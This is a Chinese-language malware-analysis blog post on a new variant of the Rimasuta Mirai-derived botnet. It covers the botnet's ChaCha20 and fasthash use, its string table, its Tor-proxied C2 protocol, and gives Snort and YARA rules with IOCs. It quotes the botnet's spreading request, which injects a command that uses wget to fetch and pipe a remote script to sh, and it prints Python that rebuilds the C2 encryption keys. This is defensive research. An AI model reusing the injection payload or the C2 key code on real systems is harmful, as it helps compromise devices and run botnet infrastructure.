

Botnet

Rimasuta新变种出现，改用ChaCha20加密



daji, Wang Hao, Acey9

2024年1月10日 • 13 min read

时间线

样本传播

样本分析

[0x1, ChaCha20](#)

[0x2, fasthash](#)

[0x3, 字符串配置](#)

[0x4, 利用STUN协议获取公网地址信息](#)

[0x5, 网络协议变化](#)

总结

检测

IOC

时间回到两年前，2021年6月360netlab捕获到一个全新的mirai变种，根据使用的TEA算法给它取名为[mirai_ptea](#)，没想到在向社区公布了该变种之后，作者在随后更新的样本里吐槽了360netlab的命名：

“-_- you guys didnt pick up on the name? really??? its `RI-MA-SU-TA` . not `MIRAI_PTEA` this is dumb name.”

鉴于作者吐槽，360netlab也是将后续命名更改为[Mirai_ptea Rimasuta](#)。当时以为又是一个生命短暂的僵尸网络，然而在最近的botnet观测中，rimasuta再次回到了我们的视野。

rimasuta的整体架构没有发生变化，比如通信过程就延用了之前的设计思路，采用Tor Proxy进行通信，但在加密算法、协议格式等方面发生了改变。本文通过对

rimasuta新变种的分析，尝试为这个活跃了三年的botnet勾勒出一条时间线，方便社区了解。

时间线

- 2021年6月22日360netlab观察到mirai_ptea利用[KGUARD DVR](#)漏洞开始传播
- 2021年6月23日360netlab发现安全社区披露mirai_ptea开始进行DDoS攻击
- 2021年9月5日360netlab观察到mirai_ptea_rimasuta开始利用[RUIJIE路由器0-day](#)传播
- 2023年4/8月我们捕获到两个rimasuta变种，加密方式改用chacha20算法
- 2023年10月24日rimasuta使用一个疑似0Day的漏洞开始新一轮分发，chacha20的key/nonce发生改变
- 2023年10月26日rimasuta快速更新，修改字符串hash计算方法为fasthash算法

样本传播

近期rimasuta的传播方式比较单一，但延续了其善用0Day的特点，我们视野内的利用漏洞仅有一个，但是暂未搜到任何相关信息，内部暂时命名为“NCVE_2022_03_03_RMT_saveddns”，以下是payload内容，出于安全性考虑做了打码处理。由于样本数量较少并且没有下发有效的指令，因此本文重点在于样本自身的变化方面。

```
POST /remotesetup/saveddns HTTP/1.1
content-length: 97
accept-encoding: gzip, deflate
x-requested-with: XMLHttpRequest
user-agent: Python-httpLib2/0.22.0 (gzip)
host: 80
cookie:
referer: remotesetup
content-type: application/x-www-form-urlencoded
```

```
%24(wget+http://q7.fyi/HIJTwkaIekeD+-0-%7Csh)&
```

样本分析

rimasuta不同于一般的mirai变种，其代码结构与mirai相比发生了很大变化，并且重新设计了加密算法和C2通信协议，关于之前的变种，请参考[360netlab之前的工作](#)。下面以265d5d2219d11e8aa6e6b7855f3d17023fe18eb0为例分析近期rimasuta的变化。

0x1, ChaCha20

rimasuta新变种最大的改变就是抛弃了之前使用的PTEA算法，转而使用chacha20。样本中共涉及3组Key（密钥）、Nonce（随机数），分别用于解密字符串、加密用户信息、加解密通信数据，下面会一一提到。

0x2, fasthash

fasthash贯穿了样本的整个运行过程，在字符串校验、chacha20key生成、密钥协商和通信阶段起到了关键作用，这也极大地提高了逆向成本，是一种有效的对抗手段。旧版本实现了一种自定义算法，新样本则使用了开源的[fasthash](#)。

0x3, 字符串配置

rimasuta的字符串表以密文保存，经过自定义的数据交换方法，再用chacha20进行解密，这里涉及到了前面提到的第一组chacha20的key/Nonce，硬编码在 `.rodata` 段。

```
key: 43DC4ACBF65BE07F00D53E6B2C65B572E4B43F30227AA42438E34D21ECC50ACD
```

```

.rodatab:00016480 chacha20_key_DecString_16480 DCD 0xCB4ADC43
.rodatab:00016480 ; DATA XREF: sub_9330+50tr
.rodatab:00016480 ; sub_9330+64tr ...
.rodatab:00016484 dword_16484 DCD 0x7FE05BF6 ; DATA XREF: sub_9330+8Ctr
.rodatab:00016484 ; sub_9614+8Ctr ...
.rodatab:00016488 dword_16488 DCD 0x6B3ED500 ; DATA XREF: sub_9330+B4tr
.rodatab:00016488 ; sub_9614+B4tr ...
.rodatab:0001648C dword_1648C DCD 0x72B5652C ; DATA XREF: sub_9330+F8tr
.rodatab:0001648C ; sub_9614+F8tr ...
.rodatab:00016490 dword_16490 DCD 0x303FB4E4 ; DATA XREF: sub_9330+11Ctr
.rodatab:00016490 ; sub_9614+11Ctr ...
.rodatab:00016494 dword_16494 DCD 0x24A47A22 ; DATA XREF: sub_9330+140tr
.rodatab:00016494 ; sub_9614+140tr ...
.rodatab:00016498 dword_16498 DCD 0x214DE338 ; DATA XREF: sub_9330+164tr
.rodatab:00016498 ; sub_9614+164tr ...
.rodatab:0001649C dword_1649C DCD 0xCD0AC5EC ; DATA XREF: sub_9330+188tr
.rodatab:0001649C ; sub_9614+188tr ...
.rodatab:000164A0 DCD 0
.rodatab:000164A4 off_164A4 DCD chacha20_key_DecString_16480
.rodatab:000164A4 ; DATA XREF: sub_9330+38tr
.rodatab:000164A4 ; sub_9330+50tr ...
.rodatab:000164A8 chacha20_nonce_DecString_164A8 DCD 0x9DD7EF5A
.rodatab:000164A8 ; DATA XREF: sub_9330+D8tr
.rodatab:000164A8 ; sub_9330+1B4tr ...
.rodatab:000164AC dword_164AC DCD 0xABAFDAE9 ; DATA XREF: sub_9330+1D8tr
.rodatab:000164AC ; sub_9614+1D8tr ...
.rodatab:000164B0 dword_164B0 DCD 0xB8C0B2FD ; DATA XREF: sub_9330+1FCtr
.rodatab:000164B0 ; sub_9614+1FCtr ...
.rodatab:000164B4 dword_164B4 DCD 0 ; DATA XREF: start+D29Cto
.rodatab:000164B4 ; .data:off_1F840to

```

字符串配置如下，和mirai一样，在使用时通过index进行查找，比较关键的一些配置如下：

index=14: tor list

index=15: 用于计算第二组chacha20的key和nonce

index=16: 打印**"The Lord is my shepherd; I shall not want."**

index=20: proxy list

index=22: STUN协议内网穿透获取公网信息

```

0 b'/proc/'
1 b'/proc/net/tcp'
2 b'/proc/net/route'
3 b'/proc/sys/kernel/'
4 b'/sys/class/net/'
5 b'/cmdline'
6 b'/address'
7 b'/stat'
8 b'/maps'
9 b'/exe'
10 b'/fd'

```

```
11 b'/dev/misc/watchdog'  
12 b'/dev/watchdog'  
13 b'nothing here to see, move along. '  
14 b'xjdhr5is3qsw2cyekdxo57gchpxusvkko3265x2lmn4g6fnlimdngqdsourt33xcdoyg4jcrh33qv  
15 b'bbknilviexavjvnwdtdqmhsexqcokfwgdqthxexvuwzlwaggddaahxn.onion'  
16 b"echo -e $(echo 546865204c6f7264206973206d792073686570686572643b2049207368616c6  
17 b'/bin/|/sbin/|/usr/sbin/|/usr/bin/|sh:upnpc-static:mini_httpd:proftpd:httpd:ude  
18 b'Revelation 22:12'  
19 b'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ+/'  
20 b'U\x01\x0e\x00\xd5\xb79\xae\xe50\xd5\xb79H\xe50\xd5\xb78\xc9\xe50_\xa4-\x1b\x12  
21 b'wget:curl:ftp:nc:tftp:ssh:telnet:echo:ntpdate'  
22 b'vo.lu:wia.cz:tel.lu:qq.com:tng.de:h4v.eu:imp.ch:twit.it:sip.us:ukh.de:gmx.de:sm  
23 b'PROXY:INFO'  
24 b'STATS:INFO'  
25 b'PROXY:DATA'  
26 b'/bin/:/sbin/:/mnt/:/usr/:/var/:/dvr/:/opt/:/edvr/:/fh/'  
27 b'socket:['  
28 b'[0000]:'  
29 b'/sys/class/net/:/statistics/:tx_packets:tx_bytes'  
30 b'/bin/sh'  
31 b'ash:atl:chi:dal:den:hon:lax:mia:nyc:mia:sjc:sea:tor:ams:ath:dub:fra:kyi:lon:ma  
32 b'GET /|0mb.bin HTTP/1.1|Host: |Connection: close'
```

0x4, 利用STUN协议获取公网地址信息

在沙箱日志中可以看到很多STUN协议的流量，查询的域名由index=22的字符串随机拼接得到，因此第一眼看上去会误以为是DGA算法，其实是rimasuta在收集用户信息的时候使用了STUN协议造成的。

利用STUN协议的Binding流程，通过向远程STUN服务器发送Binding Request，解析响应的XOR-MAPPED-ADDRESS字段，即可得到自己公网的地址/端口信息。

0x5, 网络协议变化

rimasuta的通信设计较旧版本没有改变，同样使用“socks5加Tor Proxy”的方式间接和C2建立通信，但加密算法和部分字段存在变化。Tor Proxy的工作原理通常是bot通过代理服务器将流量发送到tor代理节点，再由Tor代理转发到真正的C2，C2的

响应则是一个逆向的过程。由于Tor网络基于socks5协议，因此通讯过程首先是socks5的握手流量，Tor Proxy的工作模式使得难以追踪到真正的C2节点。

以下图为例解释rimasuta通信的过程，也可以参考旧版本的分析工作。

(1) socks5代理连接过程，bot和代理服务器进行连接，随后请求连接的目标服务器是一个tor域名，域名从tor list中随机选取。

(2) bot开始和C2协商密钥，发送数据格式为：

`head(2bytes),hash(4bytes),content(Nbytes)`。

`b1 29 19 c4 4e b8 11 8f`：bot随机生成的8个字节

`32 36 11 89`：对上述8个字节计算fasthash得到0x32361189

`89 11`：session- header，取上述0x32361189低16位，同一次session保持不变

把这14个字节整体进行一次fasthash，保存为netkey[2]，后续会用到。

(3) C2响应数据格式：

`head(2bytes),content_length(2bytes),hash(4bytes),content(Nbytes)`

。

`89 11`：session- header

`00 48`：0x48表示content的大小

`96 d0 b6 0c`：content经过fasthash计算得到的值，其他数据为随机生成的content

(4) bot构造用户信息并发送

`89 11`：session- header

`25 63 a4 3a`：计算用户信息的fasthash得来，保存为netkey[1]，与上一步的

`96 d0 b6 0c` 拼接后计算fasthash保存为netkey[3]，在收集用户信息过程中得到的UID计算fasthash保存为netkey[0]。

bot将上一步C2响应的 `96 d0 b6 0c` 与明文的用户信息(IP、CPU、Mac地址、网速等)进行拼接，chacha20加密后发送给C2，其中用户信息的各个字段也经过fasthash处理。这里涉及到chacha20的第二组key/nonce，由字符串配置表中

index=15的字符串结合session-header计算得到，代码如下，C2收到数据后即可解密用户数据。

```
import hexdump
import struct

def new_hash(buf, len, seed=0xB9BC210A):
    def mix(h):
        h ^= h >> 23
        h = h * 0x2127599bf4325c37 & 0xffffffffffffffff
        h ^= h >> 47
        return h & 0xffffffffffffffff
    m = 0x880355f21e6d1965
    pos = 0
    end = len // 8 * 8
    h = seed ^ (len * m) & 0xffffffffffffffff

    while pos < end:
        v = struct.unpack_from('Q', buf, pos)[0]
        pos += 8
        h ^= mix(v)
        h *= m
        h &= 0xffffffffffffffff

    pos2 = end
    v = 0
    len_left = len & 7
    if len_left >= 7: v ^= struct.unpack_from('B', buf, pos2 + 6)[0] << 48
    if len_left >= 6: v ^= struct.unpack_from('B', buf, pos2 + 5)[0] << 40
    if len_left >= 5: v ^= struct.unpack_from('B', buf, pos2 + 4)[0] << 32
    if len_left >= 4: v ^= struct.unpack_from('B', buf, pos2 + 3)[0] << 24
    if len_left >= 3: v ^= struct.unpack_from('B', buf, pos2 + 2)[0] << 16
    if len_left >= 2: v ^= struct.unpack_from('B', buf, pos2 + 1)[0] << 8
    if len_left >= 1: v ^= struct.unpack_from('B', buf, pos2 + 0)[0]
    if len_left > 0:
        h ^= mix(v)
        h *= m
        h &= 0xffffffffffffffff
    return (mix(h) - (mix(h) >> 32)) & 0xffffffff

def gen_tmp_key(head):
    data = b"bbknilviexavjvnwdtdqmhsexqcokfwgdqthxexvuwzlwaggddaahxn.onion"
    xx20_key = b""
    xx20_nonce = b""
    for i in range(0, 32, 4):
        xx20_key += struct.pack("<I", new_hash(data[i:i + 4], 4) ^ (head + 0x6667 &
    for i in range(50, 62, 4):
        xx20_nonce += struct.pack("<I", new_hash(data[i:i + 4], 4) - head - 0x6c6f
    return xx20_key, xx20_nonce
```


将目前得到的netkey[0]~[3]这四个hash，进一步计算即可得到第三组chacha20的key和nonce，用于后续通信，计算方法如下。

```
import struct

def gen_net_key(uid, first_send, first_recv, second_send, hash_alg=old_hash):
    net_key0 = hash_alg(uid, 12)
    net_key1 = struct.unpack(">I", second_send[2:6])[0]
    net_key2 = hash_alg(first_send, 14)
    net_key3 = hash_alg(first_recv[4:8]+second_send[2:6], 8)
    return [net_key0, net_key1, net_key2, net_key3]

def gen_cnc_key(uid, net_key, hash_alg=old_hash):
    seed = 0x17769420
    tmp = list(struct.unpack("<3I", uid))
    chacha20key = [0] * 8
    chacha20nonce = [0] * 3
    for i in range(4):
        chacha20key[i] = struct.unpack(">I", struct.pack("<I", net_key[i]))[0]
    chacha20key[4:7] = tmp
    chacha20key[7] = hash_alg(uid, 12) ^ seed
    for i in range(8):
        chacha20key[i] = hash_alg(struct.pack("<I", chacha20key[i]), 4) ^ 0xFAAD
    for i in range(3):
        chacha20nonce[i] = hash_alg(struct.pack("<I", chacha20key[i]), 4) - 0x6042
    chachakey = b""
    chachanonce = b""
    for i in chacha20key:
        chachakey += struct.pack("<I", i)
    for i in chacha20nonce:
        chachanonce += struct.pack("<I", i)
    return chachakey, chachanonce
```

协商过程可以简化为下图：

总结

rimasuta在细节方面做了不少工作，比如收集了更多用户信息，比如将收集用户信息的过程合并到了密钥协商阶段，再比如通过下载

`*.download.datapacket.com/*mb.bin` 以测试网络环境等等。由于未收到后续实际有效的指令，因此rimasuta的最终目的没有表现的很明确，可能是在组建自己的proxy网络，我们也会持续监测。

检测

用户可通过监视设备出口流量的目标IP是否包含rimasuta的代理服务器IP，以及结合流量数据中是否包含rimasuta的Tor域名来检测自身是否感染，snort规则参考如下。

```
alert tcp any any -> 158.255.212.173 10862 (msg:"Detect Onion Domain"; content:"xjd
```

IOC

Proxy List

```
SHA1: 9352740811729cbac88116b2e2a92833c9bee4a2
158.255.212.173:10862  Austria|Wien|Vienna      AS57169|EDIS GmbH
151.236.25.126:11331  Poland|Mazowieckie|Warsaw AS9009|M247 Europe SRL
158.255.215.49:23079  France|Ile-de-France|Paris AS9009|M247 Europe SRL
185.26.239.98:11076   France|Ile-de-France|Bagnolet AS9009|M247 Europe SRL
151.236.25.10:7205    Poland|Mazowieckie|Warsaw AS9009|M247 Europe SRL
37.235.53.217:1358    Spain|Andalucia|Sevilla AS39020|Comvive Servidores S.L.
151.236.23.232:763    Spain|Andalucia|Sevilla AS39020|Comvive Servidores S.L.
37.235.56.204:24239   Austria|Wien|Vienna      AS57169|EDIS GmbH
162.252.175.122:4126  United States|Florida|Miami AS9009|M247 Europe SRL
162.252.175.136:11077 United States|Florida|Miami AS9009|M247 Europe SRL
```

162.252.175.163:28693	United States Florida Miami	AS9009 M247 Europe SRL
162.252.175.90:845	United States Florida Miami	AS9009 M247 Europe SRL
162.252.175.109:28330	United States Florida Miami	AS9009 M247 Europe SRL
151.236.20.39:5524	China Hongkong Hongkong	AS9009 M247 Europe SRL
158.255.208.140:86	China Hongkong Hongkong	AS9009 M247 Europe SRL
194.68.27.149:13106	Japan Tokyo Tokyo	AS9009 M247 Europe SRL
194.68.27.176:6460	Japan Tokyo Tokyo	AS9009 M247 Europe SRL
37.143.128.223:16223	Chile Region Metropolitana de Santiago Santiago	AS136258 Br
31.40.212.130:7225	Argentina Ciudad Autonoma de Buenos Aires Buenos Aires	AS1
198.244.207.203:2076	United Kingdom England London	AS16276 OVH SAS
208.115.230.243:16697	United States Texas Dallas	AS46475 Limestone Networks,
185.126.239.207:26630	Russia Moscow Moscow	AS136258 BrainStorm Network, Inc

SHA1: 8e1beb77b33497d5d8076ebdb68e5ac002cca7c3

213.183.57.174:12517	Russia Moscow Moscow	AS56630 Melbikomas UAB
213.183.57.72:12517	Russia Moscow Moscow	AS56630 Melbikomas UAB
213.183.56.201:12517	Russia Moscow Moscow	AS56630 Melbikomas UAB
95.164.45.27:17426	France Ile-de-France Paris	AS44477 STARK INDUSTRIES SO
45.120.178.161:11013	The Netherlands Noord-Holland Amsterdam	AS44477 STARK INDUS
176.120.74.3:17268	Russia Moscow Moscow	AS0
92.243.64.184:17146	Russia Sankt-Peterburg Saint Petersburg	AS9009 M247 Europe
92.243.64.36:17146	Russia Sankt-Peterburg Saint Petersburg	AS9009 M247 Europe
89.31.120.126:11578	United Arab Emirates Dubayy Dubai	AS9009 M247 Europe
91.132.93.33:11578	United Arab Emirates Dubayy Dubai	AS9009 M247 Europe
91.132.95.28:8773	United Kingdom England London	AS9009 M247 Europe SRL
91.132.95.204:8773	United Kingdom England London	AS9009 M247 Europe SRL
91.132.95.135:8773	United Kingdom England London	AS9009 M247 Europe SRL
91.132.95.204:8773	United Kingdom England London	AS9009 M247 Europe SRL

SHA1: 265d5d2219d11e8aa6e6b7855f3d17023fe18eb0

194.233.174.22:45358	Germany Hessen Frankfurt am Main	AS63949 Akamai Tech
----------------------	----------------------------------	---------------------

Tor List

```
0 b'xjdhr5is3qsw2cyekdxo57gchpxusvkko3265x2lmnn4g6fnlimdngqd.onion'
1 b'sourt33xcdoyg4jcrh33qvx6cjoneowihsfrbuqldkrrili54gdvryyd.onion'
2 b'uu2iggf5wq57dt6xanfdmwq3rvxqorkb43bh2eacj2vz22nvwewlxcyd.onion'
3 b'wjd2t2lzbgb7g7bcenpl2r2bsobkbwwpooqrmiwqjpkptm5p5seifcid.onion'
4 b's4ofksblif7bmo7sp64f56gij6xzh7sznvrn46m6daup2hwdmwbiabqd.onion'
5 b'yqs4gu4c2kb5ybgcigkl5gcsqbjuk5n2su2pozpsw4ojav2op5gddkid.onion'
6 b'wf4uxi6izbqppzb4fvg4sq7sm5t5w5xl5v5pkxpguwpr4aci7hvvboid.onion'
7 b'm5idjwoj4q5yrmo5xbnvhoqqrld6pruxx5qjvr6gfnmao4xiniwzid.onion'
8 b'yjh2bktujnqkj7u7g7hxotck6sfhjuf7crhc4vcf6ewpa7swoqalfkid.onion'
9 b'fend7yhjoeam7b4fp4rj5oobphuvmhjbovhtvporusjex4nyoiamgdyd.onion'
10 b'u7kteztwfg3p6wdeiq6y7zidxx3xtto4gmm2vwz42mzd6s4ixgvpgxyd.onion'
11 b'pcjvbrttcy2s3gqpgwklgsco4u4bskr5xhvdzs4pzqqcrflkwe437id.onion'
12 b'3crj2ylhdfpf2yik4bb2hn32xey2bdhcpykxfezb4sq53eelglp3sqd.onion'
```

```
13 b'c3uybau64lj32ty3z3sxgchnrmg72bvbpua66mcvydcjpgrbv2r6huyd.onion'  
14 b'wauby5e7m6zf2eb7rfn7nqm3diuaehdu6tfay4janiktgx33wjfifkyd.onion'  
15 b'tybocptxypx42ngrcqlldrgas536syipwotmfmbjpwc5fpxth4xf4faqd.onion'  
16 b'44yd2dxmm5xuo7dsivwkf2fqyqmfsqlt5nkxdlgwpnbr57sca56j74yd.onion'  
17 b'npnsktlnofwisqvd3e6tpslinkypajmh5jctyjivuf6jza3syw2v6cid.onion'  
18 b'acuy77ahadd6g5rw2pxsuejskirjmxaoj37ck7fvj4h4kc36a3uwirqd.onion'  
19 b'm7wajjzas7eotqw4b6k4aei5q4zijdal3spsec7wsfmf2xqjhmydjyid.onion'  
20 b'24rq2pvihkrct6pxl6zy3p36gt2wd6sn6izoz7ntlivxvbuu5ei3xwad.onion'  
21 b'syd5mtjvcqxvnnkeqjjkdm2oz2jzl6swrfhnlviemxtgiqvcbm26nyd.onion'  
22 b'bvxx2p6hfttpiynntpuf72axcvaakjbz5zgiew7iklkrb2s6wrdrv4lid.onion'  
23 b's5q2zsdf5n7dezz2hcach23iodsrn6gpyv6f2dxv62ikp7idntmlecvqd.onion'
```

Yara Rule

```
rule mirai_rimasuta  
{  
  meta:  
    description = "mirai_rimasuta proxy client"  
    author = "xlab"  
    date = "2023-11-22"  
  
  strings:  
    $str_seed = {BE BA 49 48}  
    $chacha20key = {8F EA E2 F1 84 F6 B2 A3 D8 BF F0 E9 9E F7 B2 FB}  
  
  condition:  
    all of them  
}
```

What do you think?

2 Responses



Upvote



Funny



Love



Surprised



Angry



Sad

0 Comments

 1 Login ▼

G

Start the discussion...

LOG IN WITH

OR SIGN UP WITH DISQUS 

Name



Share

Best Newest Oldest